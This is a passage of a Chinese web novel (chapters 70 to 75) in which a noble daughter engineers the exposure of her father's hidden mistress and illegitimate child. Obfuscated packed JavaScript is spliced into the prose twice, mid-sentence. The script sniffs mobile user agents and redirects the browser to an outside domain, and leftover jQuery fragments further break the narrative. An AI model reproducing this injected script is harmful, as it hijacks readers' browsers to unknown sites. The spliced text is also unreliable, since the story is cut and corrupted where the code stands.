彩玉羞得直跺脚,抱起了翠珠撂下的托盘往门外跑:“我不理你们了。” 翠珠将一碟子枣子捧到了宋南絮的面前,笑道:“这丫头现在见不得旁人说咱们院子的不是。” 宋南絮拿起了一颗枣子:“回头你们说说她,别真传成了泼妇,回头真不好说人家了。” “姑娘这是要给彩玉相看么?” 翠珠听出了宋南絮话里的门道。 宋南絮颔了颔首。 彩玉和翠珠、翠柳不同,她没有和宋南絮自幼一起长大的情分,而且,她到墨香居也是听了宋昭的差遣。 虽然现在她倒越来越有翠珠和翠柳早年的样子,但毕竟是隔着一层的,况且,她最初到墨香居来伺候也是为了找一个好婆家。 如此便也可以遂了她的心意。 宋南絮思忖片刻:“翠珠,我记得老太太在京郊的庄子上有一个平伯,他家的儿子是不是到了娶妻的年纪了?” 翠珠微微颔首:“半个月前,平伯还托人给老太太稍了信,请老太太在府里给物色个本分踏实的丫头当儿媳妇呢。” 宋南絮:“你去寻彩玉要个生辰八字,到时候请人给二人合一合,若是合适的话,就请老太太做主放了彩玉的身契。” 翠珠应声:“是,奴婢这就去办。” 用过了晚膳,宋南絮去往荣安堂,经过外院与内院的垂花门时,瞧见田妈妈引着裁缝进了内院。 田妈妈隔着老远便瞧见了宋南絮。 她翻了个白眼,拔高了音调,像是特意说过宋南絮听得似的:“明儿是大长公主府的宴席,夫人特意命你们给二小姐裁制新衣,你们务必要在明儿晌午将衣裳赶制出来,得配咱们姑娘那套红宝石的头面。” 经过宋南絮身边时,田妈妈微微一笑:“请大小姐安。” 田妈妈一抬眸,眼睛里尽是嘲讽与挑衅。 第70章 扯头发,扇巴掌 宋南絮将田妈妈脸上嘲讽、揶揄、不屑尽数收入眼底。 她是武安侯府出现来的,又在安远侯府多年,这拜高踩低倒是练就的出神入化。 宋南絮自然不会和一个仆妇计较。 因为她觉得有损自己的身份。 用不了多久,她们这些受了宋涵烟‘恩惠’的下人们就会知道,自己到底是瞎了眼,还是痰迷了心窍。 宋南絮像是没听见田妈妈的话似的,直接掠过她的身边,朝着荣安堂的方向走。 “姑娘,您就这么忍了么?” 彩玉心里憋这一股火,恼得不行,若是不撒出来,只怕她今儿晚上都睡不觉。 宋南絮轻浅一笑,淡淡道:“疯狗咬了你一口,难不成当人的你还要咬狗一口么?” “噗嗤!” 彩玉闻言,没忍住笑出了声音来。 她梗起了脖子,斜眼瞥了田妈妈一眼,轻哼了一声,快步追上了宋南絮:“姑娘说的是,奴婢自然不会和一条疯狗计较!” “你……” 田妈妈刚想要说什么,忽地瞧见了侧目的宋南絮,那双锐利如刀一般的眸子,一瞬,她的话哽在了喉咙里,愣是没敢把不恭敬的话说出口。 宋南絮眸色微敛:“彩玉。” “奴婢在!” 彩玉朝着宋南絮屈膝。 宋南絮道:“听闻大长公主府的牡丹尽数被毁,若明日想要举办赏花宴,就需要大量的牡丹花,我记得母亲的陪嫁中有一处宅院,种满了牡丹,待会儿,伺候完祖母用药,你陪我去一趟长乐坊青花巷。” “是。” 彩玉倒是好奇了起来,以往跟着姑娘出府的不都是青雀么? 这会儿姑娘让自个儿陪着了? 心里虽是不解,但,彩玉却并未问出口,只管按照姑娘的吩咐行事。 宋南絮余光瞥了一眼田妈妈。 显然,她这话并非是说给彩玉听的,而是—— 这会子,宋涵烟必然为了明日的赏花宴某足了劲头挑选裁制新衣的料子,这卖给大长公主人情的活计,自然就要落到了崔氏的头上。 届时,宋南絮只要等着看好戏便可以了。 果然—— 宋南絮伺候严氏用了药,刚刚睡下,彩玉就兴冲冲地跑到了她的身边:“姑娘,您真是神了!我按照您的吩咐去外院打听了一下,夫人刚刚命人套上了马车,亲自去了长乐坊青花巷。” “知道了。” 宋南絮的神情始终都是淡淡的。 应了一声吼,她给严氏盖好了被子,又燃上了有凝神功效的朝露凝香,这才离开了荣安堂。 回到了墨香居,宋南絮屏退了左右,插上了门栓,进了密室,去往飘絮庐。 她并未在这里见到萧止。 原以为他今天不会来了,谁知道,刚刚推开院门的,便和他走了个对头碰。 二人几乎是同时开口。 萧止:“你来了。” 宋南絮:“你回来了。” 然后,又是同时点头。 宋南絮:“嗯,有事要出门。” 萧止:“嗯,有事出了趟门。” 宋南絮与萧止相视一眼,同时笑了起来。 二人相对,半晌谁也没有先开口。 须臾,俩人竟有出奇的一致,同时说: 宋南絮“你可愿随我去看场好戏?” 萧止:“你可想同我去看出好戏?” 二人同时看向了对方,竟都不禁笑了起来。 这一次,宋南絮先开了口:“我在长乐坊青花巷安排了一场好戏,你要不要和我去瞧瞧?” 萧止勾起了嘴角:“你若不来,我也正要为这件事情去寻你。” “哦?”宋南絮微微蹙眉,疑惑地看向萧止:“你安排了什么?” 萧止侧身,朝门外做了一个请的手势:“一会到了你便能知晓其中答案。” 宋南絮微一挑眉。 她倒是很想瞧瞧,萧止为她安排了什么好戏,竟还卖起了关子来。 上了马车,马夫驾车直奔长乐坊而去。 透过车帘,宋南絮时不时就能看见有行人交头接耳,好似听见了什么天大的秘闻,小声说,大声笑,直到马车停下来时,她方才从零零散散听到的内容当中拼凑出了答案。 宋南絮诧异。 没曾想,萧止竟然会派人散播青花巷那间宅院的事。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657800|171445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“是你让人传青花巷中住着的是安远侯的外室?” 萧止不以为意地耸了耸肩:“这也不算是传言,事实而已,我只不过稍稍加了一点风花雪月的描述而已。” 这的确是事实。 宋南絮原本只以为当崔氏瞧见了白氏那张脸一切自然会有分晓。 但,萧止此举—— 无疑是让这局面变得更乱。 现在,宋南絮倒是更有兴趣,想要看看崔氏在见到白氏后会疯狂如何! 宋南絮撩开了车帘,瞧着崔氏从安远侯府的马车上下来。 崔氏一转头,宋南絮看见了一张一忽儿青,一忽儿紫的脸。 随即,崔氏朝着身后跟着的婆子们一挥手,声音低沉地吩咐道:“把门给我撞开!我倒是要瞧瞧,那些人说的可是真的!!” 须臾间,宅院内便传来了一阵打砸声,紧接着,是女人的惨叫、咒骂。 不多时,宋南絮透过车窗,瞧见崔氏被人从院门里推了出来,她衣衫凌乱,歪了发髻,哪里还有半点侯爵夫人的样子。 崔氏一项自诩出身高贵,嫁得高贵,平日子行为举止,端得是世家大族夫人的典范,今儿却没想到,她也能为了宋萧然那满是算计的垂爱,竟会与**打出手。 宋南絮瞧着院门外的战况愈演愈烈。 她微微眯了眯眼,唇角蔓延上了一抹狡黠的笑。 萧止看她一眼。 估摸着这只小狐狸又再动什么坏心思。 稍微一笑,萧止瞬间像是明白了什么。 不等宋南絮开口,萧止撩开了另一侧的车窗,薄唇微启,声音慵懒而疏淡地道:“镜竹。” 须臾间,屋顶飘落一名身穿玄色劲装的俊美少年。 他单膝跪地,双手抱拳:“请主人吩咐。” 萧止:“差人去安远侯府知会宋侯一声,就说宋夫**闹青花巷,他的外室被打得十分凄惨。” 宋南絮瞥了萧止一眼:“你倒是知趣儿,竟连我想什么都晓得。” 萧止懒懒地靠在软枕上,朝着宋南絮挑了一下眉:“这般瞧着女子扯头发,扇巴掌多无趣,若是宋萧然来,岂不是能好玩么。” 第71章 一出好戏,只是开场 “吁!” 宋萧然策马而来。 他脸上惊起一片怒色,一双眸子中满是猩红血色,远远瞧着,像极了森罗殿中的面目狰狞的阎罗。 宋萧然勒住缰绳,纵身一跃而下,气势汹汹地冲进了青花巷的宅院中。 “侯爷……” 宋萧然像是没听见崔氏的声音似的,径直掠过她的身边,竟连一个眼神都不曾给她。 “蓉儿!!” 瞧着趴在地上的白玉蓉,宋萧然感觉自己的一颗心都要碎成了两半,一半置于火上炙烤,一半投进油锅中煎熬。 白玉荣是宋萧然少年时懵懂的青春,如果白家昔日没有出事的话,那么今天安远侯府夫人就应该是她的才对。 宋萧然为了白家上书遭到先帝申斥,因此使整个安远侯府陷入危局之中,竟还牵连出了老侯爷昔日贪墨军饷一事,为权宜计,他迫不得已迎娶了崔氏。 这些年,他的心中唯有的也只是白玉蓉。 白家男丁一律流氓塞北荒漠,女子没入教坊司。 为了白玉蓉,宋萧然动用了不少安远侯府的力量,方才将人从教坊司之中救赎出来,将她安置在长乐房青花巷的宅子里。 二人在这里如果做了夫妻一般,每日每夜,耳鬓厮磨,这些年来,宋萧然下朝后的第一件事便是来此。 崔氏蠢钝如猪,自己名下的产业、宅院从不过问。 因此,宋萧然才会选择了这里,却不曾想,崔氏今日竟然会—— 看着白玉蓉脸上红肿的巴掌印,宋萧然的心仿佛都在滴血。 “宋郎——” 白玉蓉弱柳扶风的身姿,娇媚如花的脸蛋,欲垂未垂的眼泪,即便人到中年依旧梨花带雨,我见犹怜。 她朝着宋萧然张开了双臂。 宋萧然竟不顾旁人的眼光,当着崔氏的面前直接将白云荣抱在了怀中。 他的目光缱绻,柔情似水,那是崔氏从未见过的眼神。 崔氏嫁给宋萧然这么多年,满心满眼都是他,可是他—— 她以为侯爷身负安远侯府的重担,自幼心性凉薄淡漠,却不曾想,有朝一日,她竟然会在夫君的眼睛里看见他对另外一个女人露出这样的目光。 这一刻,崔氏感觉自己的天仿佛塌了一块,心里像是有什么东西被人用钝刀子硬生生地挖了下去。 疼痛仅仅只是一瞬间,便让崔氏感觉无法呼吸。 她一把扶住了田妈妈的手,这才没有让自己维持着体面轰然坍塌。 “夫人……” 崔氏挣开了田妈妈的手,举步走到了宋萧然的面前。 她缓缓地抬起了眼眸,瞳孔微微瑟缩,眼泪宛如断了线的珠子似的大颗大颗滚落而下。 她想要开口说过,却发现自己的嗓子像是被人塞进了一块火炭似的疼。 崔氏深吸了一口气,颤抖着抬起了手来,指着宋萧然怀中抱着的白玉蓉声音哽咽着、颤抖着问道:“侯爷,她是何人?!” 宋萧然脸色阴沉如铁,眸色冷如寒霜。 他并未回答崔氏的问题,只是冷冷一眼,仿若又已经说了所有。 “哼!”宋萧然冷哼了一声,怀中抱着他的此生挚爱,没有留下只字片语,径自掠过崔氏,快步走出了院门。 崔氏看着宋萧然渐行渐远的背影,心疼到无法呼吸。 她颤抖着抬起了手,紧紧地捂住了心口。 “夫人——” 田妈妈、刘妈妈立即上前,想要搀扶崔氏。 然而—— 还不等她们靠近崔氏身边,“噗咚”一声,她应声倒了下去。 “夫人!夫人……” 宅院们,仆妇们急声呼喊:“快去找大夫……快去找大夫……” 宋南絮坐在马车内,莹白枯瘦的手指缓缓地将车帘放下。 萧止所选的这一出位置极佳,刚刚好能够看清楚院内所发生的一切,因着事情发生的突然,宋萧然、崔氏全然没有注意到坐在马车之中看好戏的二人。 萧止将一盏茶递到了宋南絮的面前:“这结果可还满意?” “满意?” 宋南絮微微蹙眉。 这和自己前世的遭遇不可同日而语。 现在只不过是刚刚的一个开始而已,接下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657801|171445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,还有一场场的好戏等着他们呐! 宋南絮轻饮了一口茶:“味道不错。” 她自个儿都不曾发现,在说话时,她唇角所扬起来的笑容有多么迷人。 竟一时间让萧止看直了眼。 宋南絮撂了手中青瓷的茶盏,缓缓地抬起了睫眸,忽地瞧见萧止定定地看着自己。 她还当是自己的脸脏了,卷起了绣着凤穿牡丹的帕子,轻轻拭了拭唇角,见萧止还是直直地看着自己,不由得微微蹙起了眉:“这般看着我作甚?” 萧止听见宋南絮的话后回过了神来。 他别过了头去,看向了马车之外。 恰逢此时,崔氏身边的仆妇们已经就近请来的一名大夫。 萧止朝着宋南絮挑了一下眉尾:“接下来,你打算如何?” 宋南絮微微一笑:“自然是要帮着我的好父亲将白氏之女留在安远侯府了。” 萧止微一蹙眉:“你就不怕你母亲找你算账?” “呵呵。”宋南絮轻浅一笑,声音疏冷,没有丝毫的情感:“找我算账?往后,她的心思也只会放在内宅争斗之中,又怎会在乎我呢。” 瞧着马车外崔氏被仆妇们扶出了宅院,宋南絮眯了一下眼:“送我回去吧,我还有下班唱戏要看呢。” 萧止勾起了唇角。 这女人还真是坏的很。 竟然如此算计自己的亲生爹娘—— 萧止看着宋南絮从密室暗道离开飘絮庐,渐渐眯起了一双狭长的眸子。 他已知晓是宋萧然将她送进了普照庵,也知道在普照庵五年内她过的是什么样的日子,只是如此的算是,只是为了要让内宅不得安宁? 萧止通过这段时间来看,觉得宋南絮所要盘算之事绝非如此简单!! 安远侯府。 宋南絮刚打开了墨香居主屋的房门,翠珠、翠柳二人立马迎了上来:“姑娘,咱们府里出事了,夫人那边刚刚派人传了话,邀您和悠然居那位一块过去。” 宋南絮抬手轻抚云鬓,唇角微扬起了一抹好看的弧度:“好啊,那咱们就过去瞅瞅。” 第72章 真相曝光,崔氏崩溃 锦绣院。 翠珠、翠柳一左一右掀了帘子,宋南絮迈步跨过了门槛时,便听见了一阵阵痛苦的哭声,简直是闻者伤心,听者流泪。 偏偏—— 宋南絮的脸上却没有半分表情,依旧是云淡风轻,淡漠疏冷的模样。 崔氏听见了外间声响,立马推开了面前的田妈妈,迈着碎步从里间跑了出去,看见宋南絮的一瞬,她却先是一愣,足有十几吸的工夫才哭喊道:“絮儿,你怎么才来呀!你父亲、你父亲他……” 显然,崔氏这一霎想要见到的人并不是宋南絮。 以宋南絮的心思又怎么会瞧不出来。 “母亲这般哭喊只会失了侯府夫人的端庄,若被外人瞧了去,不但不会同情你,反而还会说你嫉妒成性,容不得父亲身边有其他女子。” 崔氏刚要扑向女儿哭诉自个儿的委屈,却在听见了她冷漠的话后,瞬间僵在了原地,这一瞬像是忘记了哭嚎似的。 好半晌,崔氏才反应了过来,她瞳孔微缩了一下,诧异地盯着自个儿的女儿:“絮儿,你……你……母亲现在满心委屈,你不安慰也就罢了,怎能说出如此凉薄的话呢?” “凉薄?” 宋南絮抚了抚鬓间,微一挑眉:“母亲如今这般年岁怎么还会如此天真?” 崔氏瞪大了眼睛,眼底是藏不住的愠怒:“你说什么?” 宋南絮淡然道:“事已至此,难道母亲还看不出来?” 崔氏自幼娇生惯养,及笄后对宋萧然一见钟情,成亲后以夫为天,在她的平坦顺遂的钱半生之中,没有遭受过是任何苦难,所以,如今已到了这般岁数仍天真的如同一个不谙世事的小女儿家。 崔氏不解宋南絮话中深意,疑惑地蹙着眉,眸光深深地盯着她。 宋南絮唇畔漾过了一抹凉薄的弧度:“想必母亲已经早已经差人叫宋涵烟过来,怎么现在还不见她人影?” 崔氏有一瞬间的怔愣。 是呀! 她先是差遣了刘妈妈去了悠然居,而后才派了田妈妈去了墨香居。 怎么先到自己这里的人会是宋南絮而非宋涵烟呢? “母亲今日去了青花巷想必已经见到了那位白氏女,怎么母亲没有发现白氏和你心肝肉似的养女长的像么?” 崔氏听了宋南絮的话后又是一愣。 脑海之中有两张脸极速的重叠在了是一块儿。 那是白氏和宋涵烟! 她们—— 那何止是像! 宋涵烟简直就是年轻版的白氏! 即便崔氏再蠢,这一瞬还有什么不明白的呢。 她猛地瞪大了双眼,下意识地抓紧了宋南絮的手,声音颤抖地道:“絮儿……你……你是说宋涵烟是那狐媚子的……” 崔氏全然不敢相信,自己如同心肝肉似的,全心全意呵护了五年的养女竟然会是—— 这一霎,她仿佛被抽空了全身的力气。 “噗通”一声,跌坐在高脊红椅上,整个人目瞪口呆,像是经受了什么重大的打击似的。 宋南絮瞧见了崔氏的模样,眼里却没有半分对母亲的心疼。 有的也只是无尽的嘲讽和揶揄。 崔氏出身武安侯府,金陵城中数一数二的名门望族,其母更是世代簪缨的书香世家,却将这老来女娇养的如此蠢笨,竟将自己的亲生女儿送进了那不见天日的狗屁庵堂,将一个私生女如珠如宝似的疼爱了五年。 此事若是传出去的话,恐怕整个金陵城都要笑掉大牙。 当然—— 宋南絮又岂会放过这么好的一个机会呢。 她早早已经将这等好戏写成了话本子,让青雀拿到了城中天桥底下寻了一个说书人,只怕,这会子工夫,整个金陵城的官宦世家已是无人不知无人不晓了。 崔氏仍对宋涵烟存有一丝幻想。 她侧目看向田妈妈,声音沙哑地道:“我不相信侯爷会这么对我!田妈妈,你立刻带人去调查,一定要将二小姐的身份彻查的明明白白!!” 这场变故发生的太过突然,田妈妈不敢有片刻的怠慢。 她们也不敢相信,自己一心指望着的二小姐,竟然会是侯爷外室所生的私生女。 一切尽在宋南絮的掌控之中,为此,她先有安排,关于宋涵烟的一切,自她出生、长大,如何进入侯府,一桩桩、一件件早就已经摊在了明面上,崔氏的人都无需深入调查,只稍作打听,便知其中关键。 田妈妈回来的时候,脸上没有一丁点的血色。 她着实没想到,竟会是这么一个结果。 宋南絮就坐在崔氏面前,自顾自地斟茶,品茗,全然一副看好戏的样子。 崔氏听见脚步声,立马抬起了头来朝着门口张望:“怎么样?烟儿的身份可有彻查清楚了么?” 田妈妈耷拉着脑袋,矗在崔氏的面前,偷抬了眼,眼神瑟缩而飘忽,支支吾吾了好半晌却始终说不出一句囫囵个的话来:“这……二……二小姐……” 崔氏勃然大怒,用力一拍桌案:“快说!!” 田妈妈自幼伺候崔氏。 崔氏虽娇气了些,但性子也是极软的,平日里对她们这些下人也没说过什么重话,如今发起了脾气来,显然已是急得火烧了眉毛。 田妈妈连忙跪下:“夫人,二小姐,她、她……” 她实在是不敢说下去,只好将彻查到的结果双手呈到了崔氏的面前。 崔氏接了过来,一目十行看了上面所写的内容。 “啊!!” 突然,锦绣院中发出了她的一声凄厉嘶吼,紧接着便是瓷器、玉器摔碎的声响。 一直坐在锦绣院中的宋南絮始终未发一言,瞧着崔氏将一整面的珍宝格都砸了后,她这才是缓缓地放下了手中的茶盏,不疾不徐地站起来,扶着翠珠的手,迈着莲步,往门外走。 “啪”的一声。 一个汉白玉的摆件在崔氏的脚边摔碎。 她颤抖地抬起了头,看着宋南絮渐行渐远的背影,忽然停下了手里的动作。 直到现在,崔氏忽然意识到了什么。 她连忙将手里的物件儿放下,三两步追上了宋南絮:“絮儿,你是我的亲生女儿,你可一定要帮母亲想想法子,不能让那外室的贱婢夺走你父亲的心啊!!” 第73章 父亲丑事,女儿旁听 事到如今,崔氏想的仍是如何夺回宋萧然的心!! 宋南絮看着崔氏,蹙眉、再蹙眉。 她忽然有点想笑。 微微地摇了摇头,唇畔噙着一缕讥嘲,宋南絮并未回眸,径自走出了锦绣院。 “絮儿!絮儿!” 崔氏一改往日的端庄,扶着田妈妈、刘妈妈的手急急跑出了主屋。 眼瞧着,自个儿是追不上宋南絮,崔氏下意识握紧了扶着门框的手,用力地紧咬着牙关,冲着她的背影喊道:“絮儿……” 这一瞬,崔氏不仅感觉自己失去了夫君。 她更像是同时失去了两个女儿。 一个是她亲手送往庵堂的亲生女儿。 一个是她如珠如宝般疼爱了五年的养女。 崔氏感觉好像全身的力气被抽空了似的,双腿没有一丁点的力气支撑她的身体,她瘫坐在地,目光空洞,好似傻了一半,直勾勾地盯着锦绣院的大门。 宋南絮并未直接回墨香居,而是改路去了一趟老夫人的荣安堂。 府中闹出了这么大的动静来,这会子工夫,早已传进了老太太的耳廓之中。 严氏虽然年事已高,又因为常年缠绵病榻早已不过问府中事宜,但今儿闹了这么大的动静,她又怎会坐视不管。 李嬷嬷跨过了门槛,步履匆匆地走到了严氏身边。 严氏侧目,微蹙着眉头,声音沉沉地问道:“那边怎么说?” 李嬷嬷叹了一口气,抿了抿唇,微微摇了摇头:“侯爷命人将西跨院收拾了出来,已经将白氏安顿了下来。” “糊涂!” 严氏勃然,随手抄起了搁置在身侧的白玉茶盏,重重地掷在了地上,“啪”的一声摔了个粉碎:“那白氏是罪臣之女,又进过教坊司,一大把年纪了,他当真是不要脸面了么!!” “老太太,您息怒。” 李嬷嬷连忙顺着严氏的背后。 严氏的脸色仿佛笼罩了一层寒霜阴沉得厉害:“你去让他过来!” “您的话,老奴刚刚已经带到了,只是侯爷他……” 即便李嬷嬷不说,严氏也知道宋萧然是什么心思。 自宋萧然袭爵后,他们母子日渐疏远,特别是又经五年前宋南絮被送入庵堂一时,严氏更是免了宋萧然的请安,而且白氏又是他心中挚爱。 这些年,宋萧然将白氏安置在外,老太太已经睁一眼闭一眼了,现下,崔氏闹出了这样的事情来,一旦将人接进了府中,再想要送走可就难了。 严氏出身将门,看待事情总有独到的见解。 很多事,宋萧然能一时头脑发热不计后果的做了,但—— 严氏阖上了眸子,静默地沉吟了半晌:“你去告诉我那不成器的儿子,若他还想要保着侯府尊位,就立刻到我这里来,若他还是执意不肯过来,你也不用强求。” “是。” 李嬷嬷应了一声,躬身退出了荣安堂里间。 “嬷嬷,这是去哪?” 宋南絮刚踏进了荣安堂的院子中,就见李嬷嬷急急忙忙往外走。 李嬷嬷微一抿唇,一副欲言又止的模样,微微摇头叹了一口气说道:“老奴奉老太太之命,请侯爷过来说话。” 宋南絮颔了颔首。 侧过了身子给李嬷嬷让开了路。 瞧着李嬷嬷经过了自己的身边,宋南絮忽然开了口:“嬷嬷,你可是已经请过一遍了?” 从时间上来推断,老太太只怕已经差人请过了。 李嬷嬷点了点头,叹息了一口气道:“姑娘,你也是知道的,自打五年前老太太和侯爷置了气,便常年锁了咱们荣安堂的大门,虽说与侯爷是亲母子可……可在老奴看来,倒更像是嫡母与庶子那般别扭。” 宋南絮又怎么会瞧不出来。 她挽起了李嬷嬷的手,轻轻地抚了抚道:“若父亲不肯来,你只和他提《刘子厚墓志铭》,他自然会来老太太这。” 李嬷嬷虽不明其中深意,但姑娘说的话,她必然会照办。 点头应了下来,李嬷嬷步履匆匆地离开了荣安堂。 翠珠掀了帘子,宋南絮一进门,便有阵阵暖意如春一般,淡淡香气萦绕,老太太坐在外间,手里捻动了着一串佛珠,听见了脚步声,严氏缓缓地睁开了眼:“絮丫头,你来了。” 只是剪短的几个字,宋南絮听出了老太太的疲惫。 她迎了过去,握住了严氏的手:“祖母,您身子才刚好了些,切莫为了那些上不得台面的事劳心伤神。” 严氏握住了宋南絮的手,用力地拍了两下:“好孩子,多亏了你为祖母寻医问药,如若不然,唉……” 她叹息了一声:“你那老子、娘,俩人都一把年纪了,成天眼皮子浅的很,只知道情情爱爱,要我说,明儿祖母就带着你搬到庄子里去,眼不见为净!!” 有些话严氏说得,但作为女儿的宋南絮却说不得。 宋南絮只淡淡地笑了笑,避开了这个话题:“过些日子等祖母的身子再好一些,孙女儿就陪您去庄子里小住几日,孙女儿记得祖母的庄子里雪景极美,到时候,孙女儿陪您堆雪人可好。” 严氏听了宋南絮的话,脸色总算是好看了些:“还是我的絮丫头最好。” 不多时,李妈妈折返而回,掀开了帘子,迎着她身后的宋萧然进了荣安堂主屋的门。 严氏一挥手,只余下了李、宁、王、段四个嬷嬷,其余人尽数退了出去。 事关宋萧然内帷,宋南絮也不便留下,她刚要跟着丫鬟、仆妇们一同出去,谁知老太太这时开了口:“絮丫头,你留下!” 显然,严氏这是不想给宋萧然留这个脸。 宋萧然岂会不知母亲深意,脸色不由沉了几分,却也不敢多说半个字。 严氏冷冷瞥了他一眼:“你打算把人留在府中了?” 宋萧然抬眸凝视着严氏,他静默了良久,方才缓缓启唇道:“是!” 严氏眸色一寒:“你当真是不要脸面了么?” 宋萧然依旧一瞬不瞬地盯着严氏:“母亲,当年您已经将人赶了出去,以至于蓉儿落入了教坊司之中,当年我不能保护我心爱的女人,现在我是这侯府的一家之主,母亲,您已经老了,好生留在荣安堂颐养天年便是,就莫要管我的事,更不要让李嬷嬷说什么《刘子厚墓志铭》!” 第74章 能屈能伸,应对之法 严氏凝眉,她何时让李嬷嬷说过—— 只是须臾,她缓抬睫眸,看向身侧的宋南絮。 见宝贝孙女儿对自己颔了颔首,严氏还能有什么不明白的呢。 “哼!”严氏轻哼了一声:“的确,你现在是名副其实的安远侯了!而且,你比你父亲更像是一个冷血无情的侯爵,只是,你别忘了你父亲临终前和你说过什么!!” 说罢,严氏用力地将手边的茶盏往桌案上一掷。 她扶着宋南絮的手缓缓地站了起来,眸子里含了一缕冷肃,声音亦是冷漠的冰冷:“一旦临小厉害,仅如毛发比,反眼若不相识,落陷阱,不一引手救,反挤之,又下石焉者,皆是也!” 严氏一边说着,一边走向宋萧然。 她出身将门,一身凌厉的气势磅礴,即便宋萧然在她的面前也好逊色不少:“落井下石的道理,书中自有记载,你饱读诗书,莫不是连这点道理都不知道,还要我一个老太婆来提醒你吧!?” 宋南絮闻言,微微一怔。 李嬷嬷去寻他时间,他的确是觉得厌烦,满心满眼都是白玉蓉,但李嬷嬷提及了《柳子厚墓志铭》,他也想到了‘落井下石’这个典故。 宋萧然是被崔氏贸然去了青花巷打伤了白玉蓉气坏了,只是,对白玉蓉的心思已经超过了所有。 年少时的隐忍克制,对于心爱之人,连一个名分也不能给,而今,他已人到中年,又是手握权柄的安远侯,想要迎心爱的女人入府,也不需要再有更多顾虑,也无需再忌惮母亲。 他只要迎玉蓉入府,给她一个应有的名分! 头脑一热,做出了此等事来。 现下忽然冷静了下来,再经过严氏说出口‘落井下石’的典故,宋萧然忽然明悟了过来。 他脸色微变,眸色暗沉,快速眨眨眼。 严氏知道宋萧然这是明白了过来,闭着眼睛,无奈地叹息摇头:“这会子可冷静下来了?” “母亲……” 严氏冷冷瞥了一眼宋萧然:“你同你父亲,骨子是里是一样的人,越是约束,越是想要挣脱,昔日白氏一族获罪,你父亲为了你的前程,为了安远侯府,不得不拆散你们,现在,你以为你有能力,有本事护住她们母女二人,你就急忙将人接回府中,你可有想过,此事为何要在这时发作?大长公主府内牡丹为何会尽数被毁?月华又是为什么这个时间去青花巷?” “这……” 严氏的话,让宋萧然猛地瞪大了眼睛。 这些他的确没有多想过! 严氏早就一副看穿他的样子,冷笑一声,继续说道:“你那一双宝贝儿女,闯下了此等大祸,既得罪了宫里,又得罪了丞相,现在已是腹背受敌,倘若当真有人趁着这个关口,参你一本,你将如何面对?” “这……” 宋萧然哑口无言。 只瞪大了眼睛,一瞬不瞬地看着严氏。 严氏回到了主位,由宋南絮扶着缓缓坐了下来:“现下,侯爷还是赶紧想想要如何安抚你那太太,要如何安抚武安侯府才是!” 她称呼宋萧然为侯爷而非儿子,可见老太太是对自己的这个轻声儿子有多失望。 自得知崔氏带人去了青花巷后,宋萧然满心满眼都是白玉蓉,直到现在听见了老太太的话后,他才恍然大悟,自己做的实在是太过了。 他倒是能屈能伸,前一瞬还在和老太太耍他侯爷的威风,下一秒直接撩开衣摆,直接跪在了严氏的面前:“孩儿自觉得亏欠了蓉儿母女,在听说月华带人去了青花巷后,只是一时情急才会……” “哼!”严氏冷哼了一声:“只是一时情急?!” 皇家圣旨严氏不得不嫁进安远侯府,嫁给了一个不爱自己,且宠妾灭妻的男人,没想到,自己亲生的儿子竟和他父亲一模一样。 说起来实在是太可笑了。 严氏冷脸瞥了宋萧然一眼,冷然道:“今儿你大闹青花巷,那里人多口杂,你的作为难免不会被传出去,现下,你应该立即安抚月华,而非是安顿一个外室!” 宋萧然眼底闪过了一丝不悦,却也不能不听母亲的话:“是,儿子这就去锦绣院。” 严氏对宋萧然失望透顶,叹息着摇了摇头:“等等!” 刚刚站起来的宋萧然又跪了回去,抬眸看向严氏:“母亲可是还有什么吩咐?” 严氏拉过了宋南絮:“落井下石的典故并非是我告诉李嬷嬷的,而是絮丫头,你自个儿的亲姑娘看得都比你透彻。” 她看着宋南絮的目光之中满是慈爱与温柔,轻轻地拍了拍她的手,柔声道:“好孩子,你既已提点了你李嬷嬷,定然是知道其中厉害,倒不如敞开了跟你父亲好好说说。” 严氏狠狠地瞪了宋萧然一眼,一副恨铁不成钢的表情,沉沉道:“我累了,也不想和他多说!” 说罢,她扶着李嬷嬷的手,转身缓步走进了荣安堂里间。 待老太太离去后,宋萧然缓缓从地上站了起来,扬起了头,疏冷的目光锐利如刀,狠狠地刮在宋南絮的身上。 半晌,宋萧然冷冷开口:“你一个小辈在这里听长辈的事,这就是你的礼数么?” 宋南絮微一挑眉。 事已至此,宋萧然不想着擦干净自己的屁股,还有闲工夫来指责自己—— 宋南絮心中冷笑,面上却是丝毫不显:“父亲,留在这里听了您的闲话的确是女儿的不是……” 她话说了一半,微微眯起了双眸。 宋南絮的一双眼睛极是好看,清冷、淡漠中带着不近人情的疏离感,她抬手抚了抚鬓间的海棠步摇:“若我是父亲,这会子就应该想想,纳罪臣之女为外室,又与她生了女儿,如此应该如何向圣上交代才是。” “你……” 宋萧然刚想要发怒,可转念一想,宋南絮说得没错,近来安远侯府已经麻烦缠身,倘若有心人以此参他一本,只怕—— 他略微沉吟了片刻方才缓缓抬起了眸子,一双满含算计的眼睛一错不错地盯着宋南絮,半晌才开口道:“方才你祖母说是你提点了李嬷嬷,你可有是有什么应对的法子?” 第75章 女儿的智慧,父亲的心思 “有。” 宋南絮只淡淡地吐出了一个字。 只这一字,已然让宋萧然十分震惊。 自宋南絮回府后,诸多事情的发生,让宋萧然逐渐意识到,自己的这个嫡长女似乎和五年前那个任由着他随意摆布的女儿不同了。 她的聪慧,显然有些过头了。 